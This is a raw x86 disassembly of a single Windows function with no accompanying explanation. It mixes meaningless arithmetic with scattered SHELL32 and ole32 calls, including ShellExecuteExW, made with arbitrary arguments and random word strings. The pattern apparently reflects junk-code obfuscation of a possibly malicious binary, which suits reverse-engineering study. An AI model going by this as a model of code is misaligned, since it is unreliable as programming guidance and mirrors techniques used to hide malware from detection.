lea eax, [ebp - 0x1fd0]
push eax
lea ecx, [ebp - 0x4e8]
push ecx
call dword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [ebp - 0xfb4], eax
movzx edx, word [ebp - 0x10dc]
mov eax, dword [ebp - 0x240c]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x15f0]
mov word [ecx], dx
jmp 0x50d4ff
mov edx, dword [ebp - 0x1c04]
mov eax, dword [ebp - 0x142c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1d24]
cmp ecx, eax
jle 0x50d4ff
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ebp - 0x10d0]
or edx, dword [ecx]
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x2648]
movzx ecx, byte [eax]
push ecx
call fcn.004ef7c0
add esp, 8
mov edx, dword [ebp - 0x142c]
mov eax, dword [ebp - 0x394]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp + 0xc], edx
movsx eax, word [ebp - 0x174]
mov ecx, dword [ebp - 0x2f0]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0xf00]
mov word [ecx], ax
movzx edx, byte [ebp - 0x7bd]
push edx
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x2f0]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x3e9]
push ecx
mov edx, dword [ebp - 0xab8]
movzx eax, byte [edx]
push eax
call fcn.00429f50
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2648]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x162c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x208]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x10d0]
add eax, dword [ebp - 0x2168]
cmp edx, eax
jle 0x50d565
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x13d8]
add edx, dword [eax]
mov dword [ebp + 0xc], edx
movzx ecx, byte [ebp - 0xa49]
push ecx
mov edx, dword [ebp - 0x240c]
movzx eax, word [edx]
push eax
call section..text
jmp 0x50d5cd
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x15f0]
movzx ecx, word [eax]
add edx, ecx
movzx eax, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0x1594]
sub eax, ecx
cmp edx, eax
jle 0x50d5cd
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
sub eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x142c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x22a0]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x1fbc], eax
push 0
push 1
lea ecx, [ebp - 0x2634]
push ecx
call dword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [ebp - 0x3a4], eax
jmp 0x50d630
lea edx, [ebp - 0xc10]
push edx
mov eax, dword [ebp - 0x91c]
push eax
call dword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [ebp - 0xc84], eax
mov ecx, dword [ebp - 0x394]
mov edx, dword [ecx]
xor edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x142c]
mov dword [eax], edx
call fcn.0046d040
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp + 8], dl
lea edx, [ebp - 0xe18]
push edx
push 0xdc
call dword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x1c04]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x208]
sar edx, cl
mov eax, dword [ebp - 0x33c]
mov dword [eax], edx
jmp 0x50d685
lea ecx, [ebp - 0xa40]
push ecx
call dword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x16d0]
add eax, dword [ecx]
mov dword [ebp - 0x208], eax
mov edx, dword [ebp - 0x13d8]
mov eax, dword [ebp - 0x128]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x33c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x680]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x76c]
push edx
movzx eax, word [ebp - 0x174]
push eax
mov ecx, dword [ebp - 0x2298]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x3e9]
push eax
call fcn.00429f50
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ecx]
add edx, dword [ebp - 0x874]
mov dword [ebp - 0x1f74], edx
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x33c]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
lea ecx, [ebp - 0x25f8]
push ecx
call dword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [ebp - 0xfa0], eax
lea edx, [ebp - 0x1d18]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0x3a4], eax
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xa49]
and ecx, edx
mov eax, dword [ebp - 0x8b8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp - 0x1fbc]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x6cc]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x10d0]
shl edx, cl
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
movsx ecx, word [ebp - 0x174]
cmp ecx, 0x197a
jl 0x50d77e
lea edx, [ebp - 0x1764]
push edx
push section..text
mov eax, dword [ebp - 0x2084]
push eax
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0xfb4], eax
mov edx, dword [ebp - 0x1f74]
mov ecx, dword [ebp - 0x240c]
mov cx, word [ecx]
call fcn.004721c0
jmp 0x50d7ac
lea edx, [ebp - 0x418]
push edx
push str.sixtieth_Skylark_formulate_Levelheaded_Tomes
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x33c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x114]
mov dword [ebp + 0xc], ecx
lea edx, [ebp - 0x24c]
push edx
push str.Hoarder
call dword [sym.imp.ole32.dll_IIDFromString]
mov dword [ebp - 0x1e1c], eax
mov eax, dword [ebp - 0x142c]
mov ecx, dword [ebp - 0xc34]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xa49]
add edx, eax
mov byte [ebp - 0x7bd], dl
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa9c]
sub edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
jmp 0x50d88a
mov dl, byte [ebp - 0x213a]
mov byte [ebp - 0x2830], dl
cmp byte [ebp - 0x2830], 0x23
je 0x50d839
jmp 0x50d855
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x7bd]
xor ecx, edx
mov eax, dword [ebp - 0x8b8]
mov byte [eax], cl
jmp 0x50d88a
lea ecx, [ebp - 0x1a78]
push ecx
push section..text
mov edx, dword [ebp - 0x300]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x1f44], eax
movzx eax, byte [ebp - 0xa49]
push eax
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
push edx
call section..text
mov al, byte [ebp - 0x5f5]
mov byte [ebp - 0x2834], al
cmp byte [ebp - 0x2834], 0x3b
je 0x50d8cb
cmp byte [ebp - 0x2834], 0x77
je 0x50d8ad
jmp 0x50d97a
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa9c]
sub edx, eax
mov word [ebp - 0x10dc], dx
jmp 0x50d97a
lea ecx, [ebp - 0x12bc]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0x5c0], eax
mov edx, dword [ebp - 0x142c]
mov eax, dword [edx]
mov dword [ebp - 0x2838], eax
cmp dword [ebp - 0x2838], 0x26ae6fb5
je 0x50d906
cmp dword [ebp - 0x2838], 0x360b1464
je 0x50d960
jmp 0x50d97a
movzx ecx, byte [ebp - 0xead]
movzx edx, byte [ebp + 8]
sub ecx, edx
mov eax, dword [ebp - 0x168]
mov byte [eax], cl
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2168]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x208]
add eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
lea edx, [ebp - 0x15a8]
push edx
lea eax, [ebp - 0xc10]
push eax
push 0xaa
push 0xe4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
jmp 0x50d97a
mov ecx, dword [ebp - 0x2298]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x5f5], dl
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7bd]
add eax, ecx
mov byte [ebp + 8], al
mov edx, dword [ebp - 0xc34]
mov eax, dword [edx]
add eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov edx, dword [ebp - 0xf9c]
mov al, byte [edx]
mov byte [ebp - 0x283c], al
cmp byte [ebp - 0x283c], 0xfc
je 0x50d9be
jmp 0x50d9c0
jmp 0x50d9d3
movzx ecx, byte [ebp + 8]
movzx edx, byte [ebp - 0xa49]
sub ecx, edx
mov byte [ebp - 0x213a], cl
lea eax, [ebp - 0x174]
push eax
push 0x2f
lea ecx, [ebp - 0x15d8]
push ecx
lea edx, [ebp - 0x1730]
push edx
mov eax, dword [ebp - 0x24cc]
push eax
call dword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [ebp - 0x1d70], eax
call fcn.004d7e60
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x18dc]
sub edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
push 0x1a
mov edx, dword [ebp - 0x15a8]
push edx
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [ebp - 0xfb4], eax
jmp 0x50dad2
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x7bd], cl
push 0x68
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x1a58], eax
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa9c]
and edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
mov edx, dword [ebp - 0x33c]
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x2298]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xab8]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1bdc]
mov byte [ecx], al
push 0xf
lea edx, [ebp - 0x114]
push edx
mov eax, dword [ebp - 0x1210]
push eax
mov ecx, dword [ebp - 0x166c]
push ecx
mov edx, dword [ebp - 0x1210]
push edx
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0x5c0], eax
lea eax, [ebp - 0x1e1c]
push eax
lea ecx, [ebp - 0x1268]
push ecx
lea edx, [ebp - 0xa9c]
push edx
lea eax, [ebp - 0x2298]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov dword [ebp - 0x1e1c], eax
mov ecx, dword [ebp - 0x1bdc]
mov dl, byte [ecx]
mov byte [ebp - 0x2840], dl
cmp byte [ebp - 0x2840], 0x2a
je 0x50db13
jmp 0x50db15
jmp 0x50db2d
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x167c]
mov edx, dword [ebp - 0x22a0]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x804]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ebp - 0x2168]
xor edx, dword [ecx]
mov dword [ebp - 0x208], edx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x240c]
mov cx, word [eax]
call fcn.004721c0
jmp 0x50dc1a
call fcn.0046d040
movzx ecx, word [ebp - 0xa9c]
mov dword [ebp - 0x2844], ecx
cmp dword [ebp - 0x2844], 0x293
je 0x50db92
jmp 0x50db94
jmp 0x50dbc8
mov edx, dword [ebp - 0x1fbc]
sub edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x804]
mov dword [eax], edx
lea ecx, [ebp - 0x15d8]
push ecx
lea edx, [ebp - 0x1f18]
push edx
lea eax, [ebp - 0xa9c]
push eax
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x1fbc], eax
movzx ecx, byte [ebp - 0x7bd]
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x168]
mov byte [edx], cl
lea eax, [ebp - 0xfb4]
push eax
lea ecx, [ebp - 0xc58]
push ecx
lea edx, [ebp - 0x2530]
push edx
call dword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [ebp - 0x5c0], eax
movzx eax, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0x10dc]
add eax, ecx
mov word [ebp - 0xa9c], ax
mov edx, dword [ebp - 0x14a0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x76c]
mov dword [ebp - 0x22a0], eax
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x208]
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x208]
shl edx, cl
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10d0]
sar eax, cl
cmp edx, eax
jle 0x50dca0
mov ecx, dword [ebp - 0x1990]
push ecx
mov edx, dword [ebp - 0x2404]
push edx
mov eax, dword [ebp - 0x1210]
push eax
mov ecx, dword [ebp - 0x2084]
push ecx
call dword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [ebp - 0x10d0], eax
mov edx, dword [ebp - 0x16d0]
mov eax, dword [ebp - 0x394]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp + 0xc], ecx
jmp 0x50dcdf
mov edx, dword [ebp - 0x680]
movzx eax, byte [edx]
movzx ecx, byte [ebp + 8]
sub eax, ecx
mov edx, dword [ebp - 0x8b8]
mov byte [edx], al
push 0x42
lea eax, [ebp - 0x9f8]
push eax
lea ecx, [ebp - 0x2634]
push ecx
push 0xea
mov edx, dword [ebp - 0x1210]
push edx
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [ebp - 0x874], eax
mov al, byte [ebp - 0x213a]
mov byte [ebp - 0x2848], al
cmp byte [ebp - 0x2848], 0x65
je 0x50dcf8
jmp 0x50dd2a
movzx ecx, byte [ebp - 0xa49]
push ecx
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx]
push eax
movzx ecx, word [ebp - 0x174]
push ecx
mov edx, dword [ebp - 0x2298]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x2298]
movzx edx, byte [ecx]
push edx
call fcn.00429f50
movzx eax, word [ebp - 0xa9c]
movzx ecx, word [ebp - 0x10dc]
add eax, ecx
mov word [ebp - 0x18dc], ax
lea edx, [ebp - 0x131c]
push edx
lea eax, [ebp - 0xc34]
push eax
push str.procurement_concealing
lea ecx, [ebp - 0xc10]
push ecx
call dword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [ebp - 0x12d4], eax
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x680]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x168]
mov byte [ecx], al
mov edx, dword [ebp - 0x804]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x29c]
add eax, dword [ecx]
mov dword [ebp - 0x22a0], eax
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x142c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x167c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x10dc]
call fcn.004721c0
jmp 0x50de11
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xa49]
add edx, eax
mov ecx, dword [ebp - 0x168]
mov byte [ecx], dl
push 0x29
push 0x12
push 0x80
mov edx, dword [ebp - 0x2084]
push edx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x2190], eax
mov eax, dword [ebp - 0xa40]
mov ecx, dword [ebp - 0x167c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
push ecx
movzx edx, word [ebp - 0x10dc]
push edx
call section..text
lea eax, [ebp - 0x294]
push eax
lea ecx, [ebp - 0x5f5]
push ecx
lea edx, [ebp - 0x61c]
push edx
lea eax, [ebp - 0x22a0]
push eax
call dword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [ebp - 0xc2c], eax
mov edx, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x208]
shl edx, cl
mov dword [ebp - 0x2168], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x2168]
sar eax, cl
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x22a0]
mov dword [ebp - 0x284c], edx
cmp dword [ebp - 0x284c], 0x5c981829
je 0x50dee7
cmp dword [ebp - 0x284c], 0xe81ede47
je 0x50de9d
jmp 0x50defc
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [ebp - 0xc84], eax
mov ecx, dword [ebp - 0x14a0]
mov edx, dword [ebp - 0x22a0]
or edx, dword [ecx]
mov eax, dword [ebp - 0xa40]
mov dword [eax], edx
lea ecx, [ebp - 0x63c]
push ecx
push 0xd1
lea edx, [ebp - 0x1954]
push edx
call dword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [ebp - 0x1a58], eax
jmp 0x50defc
movzx eax, byte [ebp + 8]
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0xead], al
push 0x24
lea eax, [ebp - 0xe60]
push eax
lea ecx, [ebp - 0x63c]
push ecx
call dword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [ebp - 0xc84], eax
mov edx, dword [ebp - 0x22a0]
and edx, 0x426d5ca5
mov eax, dword [ebp - 0xe60]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x5f5]
add ecx, 0x69
mov byte [ebp - 0x5f5], cl
mov edx, dword [ebp - 0x2168]
sub edx, dword [section..data]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [section..data]
xor ecx, dword [ebp + 0xc]
mov dword [ebp - 0x2168], ecx
mov edx, dword [ebp - 0x2168]
push edx
movzx eax, byte [ebp - 0xead]
push eax
call fcn.004ef7c0
add esp, 8
lea ecx, [ebp - 0x1730]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0xfb4], eax
mov eax, dword [section..data]
mov esp, ebp
pop ebp
ret